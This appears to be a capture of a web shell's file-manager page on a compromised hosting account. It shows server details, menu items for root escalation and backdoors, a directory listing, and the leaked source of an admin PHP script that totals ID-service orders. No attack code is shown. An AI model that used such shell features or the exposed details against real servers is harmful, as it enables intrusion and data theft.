Linux moon.hostseba.com 4.18.0-553.51.1.lve.el8.x86_64 #1 SMP Tue May 6 15:14:12 UTC 2025 x86_64
LiteSpeed
Server IP : 103.174.152.68 & Your IP : 216.73.216.6
Domains :
Cant Read [ /etc/named.conf ]
User : julaysp1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
julaysp1 /
public_html /
admin /
order /
list /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2025-09-01 07:26
error_log
8.31
MB
-rw-r--r--
2025-08-29 06:29
fetch_data_for_bio.php
611
B
-rw-r--r--
2024-10-25 15:16
fetch_pending_file_bio.php
911
B
-rw-r--r--
2024-10-31 14:22
fetch_total_order_summery.php
4.38
KB
-rw-r--r--
2025-05-29 16:41
fetch_total_succes_order.php
2.68
KB
-rw-r--r--
2024-11-15 09:54
fetch_total_summery.php
2.34
KB
-rw-r--r--
2024-11-15 13:11
fetch_user_data.php
558
B
-rw-r--r--
2024-11-15 14:50
file_order_cancel.php
666
B
-rw-r--r--
2024-10-27 18:28
file_order_completed.php
666
B
-rw-r--r--
2024-10-28 08:59
file_order_pending.php
784
B
-rw-r--r--
2024-11-15 18:22
list_of_bio_order.php
1.31
KB
-rw-r--r--
2024-11-15 17:43
list_order_cancel.php
665
B
-rw-r--r--
2024-10-26 15:38
list_order_completed.php
708
B
-rw-r--r--
2024-10-28 08:58
nid_order_pending.php
770
B
-rw-r--r--
2024-11-15 18:40
sign_order_pending.php
772
B
-rw-r--r--
2024-11-15 18:41
Save
Rename
<?php include '../../includes/configuration.php'; session_start(); $user = base64_decode($_SESSION["user_id"]); $start_date = isset($_GET['start_date']) ? $_GET['start_date'] : date('Y-m-d'); // ✅ Dynamically handle many order types $specificOrderTypes = [ 'কার্ড মেইক', 'সার্ভার কপি', 'অটো টিন', 'সার্ভার কপি ৩', 'নিবন্ধন মেইক', 'সার্ভার কপি ২', 'স্মার্ট কার্ড পিডিএফ লোড', 'স্মার্ট কার্ড', 'ছবি সংশোধন', 'স্মার্ট কার্ড হারানো', 'ভোটার তথ্য সংশোধন', 'নতুন ভোটার', 'এনআইডি ডাউনলোড', 'ফিঙ্গার প্রিন্ট', 'জন্ম নিবন্ধন সংশোধন' // ✅ Add more as needed ]; // ✅ Prepare placeholders for IN clause dynamically $placeholders = implode(',', array_fill(0, count($specificOrderTypes), '?')); // Step 1: History Work (summary per order_type) $sql_history_work = " SELECT order_type, COUNT(*) AS totalOrders, SUM(price) AS totalPrice FROM history_work WHERE order_time >= ? AND order_time < DATE_ADD(?, INTERVAL 1 DAY) AND order_type IN ($placeholders) GROUP BY order_type "; $stmt_history_work = $conn->prepare($sql_history_work); // ✅ Bind parameters dynamically $params = array_merge([$start_date, $start_date], $specificOrderTypes); $typeString = str_repeat("s", count($params)); $stmt_history_work->bind_param($typeString, ...$params); $stmt_history_work->execute(); $result_history_work = $stmt_history_work->get_result(); $orderSummary = []; while ($row = $result_history_work->fetch_assoc()) { $orderSummary[] = [ 'order_type' => $row['order_type'], 'totalOrders' => (int)$row['totalOrders'], 'totalPrice' => (float)$row['totalPrice'] ]; } // Step 2: Total Summary for history_work $sql_total_history_work = " SELECT COUNT(*) AS totalOrders, SUM(price) AS totalPrice FROM history_work WHERE order_time >= ? AND order_time < DATE_ADD(?, INTERVAL 1 DAY) AND order_type IN ($placeholders) "; $stmt_total_history_work = $conn->prepare($sql_total_history_work); $stmt_total_history_work->bind_param($typeString, ...$params); $stmt_total_history_work->execute(); $result_total_history_work = $stmt_total_history_work->get_result(); $summaryTotal = $result_total_history_work->fetch_assoc(); $totalOrdersHistoryWork = $summaryTotal['totalOrders'] ?? 0; $totalPriceHistoryWork = $summaryTotal['totalPrice'] ?? 0; // Step 3: Order List counts by status $sql_order_list = " SELECT order_type, SUM(CASE WHEN status = 'pending' THEN 1 ELSE 0 END) AS pending_count, SUM(CASE WHEN status = 'pending' THEN price ELSE 0 END) AS pending_price, SUM(CASE WHEN status = 'success' THEN 1 ELSE 0 END) AS success_count, SUM(CASE WHEN status = 'success' THEN price ELSE 0 END) AS success_price, SUM(CASE WHEN status NOT IN ('pending', 'success') THEN 1 ELSE 0 END) AS other_count, SUM(CASE WHEN status NOT IN ('pending', 'success') THEN price ELSE 0 END) AS other_price FROM order_list WHERE order_time >= ? AND order_time < DATE_ADD(?, INTERVAL 1 DAY) GROUP BY order_type "; $stmt_order_list = $conn->prepare($sql_order_list); $stmt_order_list->bind_param("ss", $start_date, $start_date); $stmt_order_list->execute(); $result_order_list = $stmt_order_list->get_result(); $orderListCounts = []; while ($row = $result_order_list->fetch_assoc()) { $orderListCounts[$row['order_type']] = [ 'pending_count' => (int)$row['pending_count'], 'pending_price' => (float)$row['pending_price'], 'success_count' => (int)$row['success_count'], 'success_price' => (float)$row['success_price'], 'other_count' => (int)$row['other_count'], 'other_price' => (float)$row['other_price'] ]; } // Final Output $conn->close(); header('Content-Type: application/json'); echo json_encode([ 'historyWorkTotal' => [ 'totalOrders' => $totalOrdersHistoryWork, 'totalPrice' => $totalPriceHistoryWork ], 'historyWorkSummary' => $orderSummary, 'orderListCounts' => $orderListCounts ]); ?>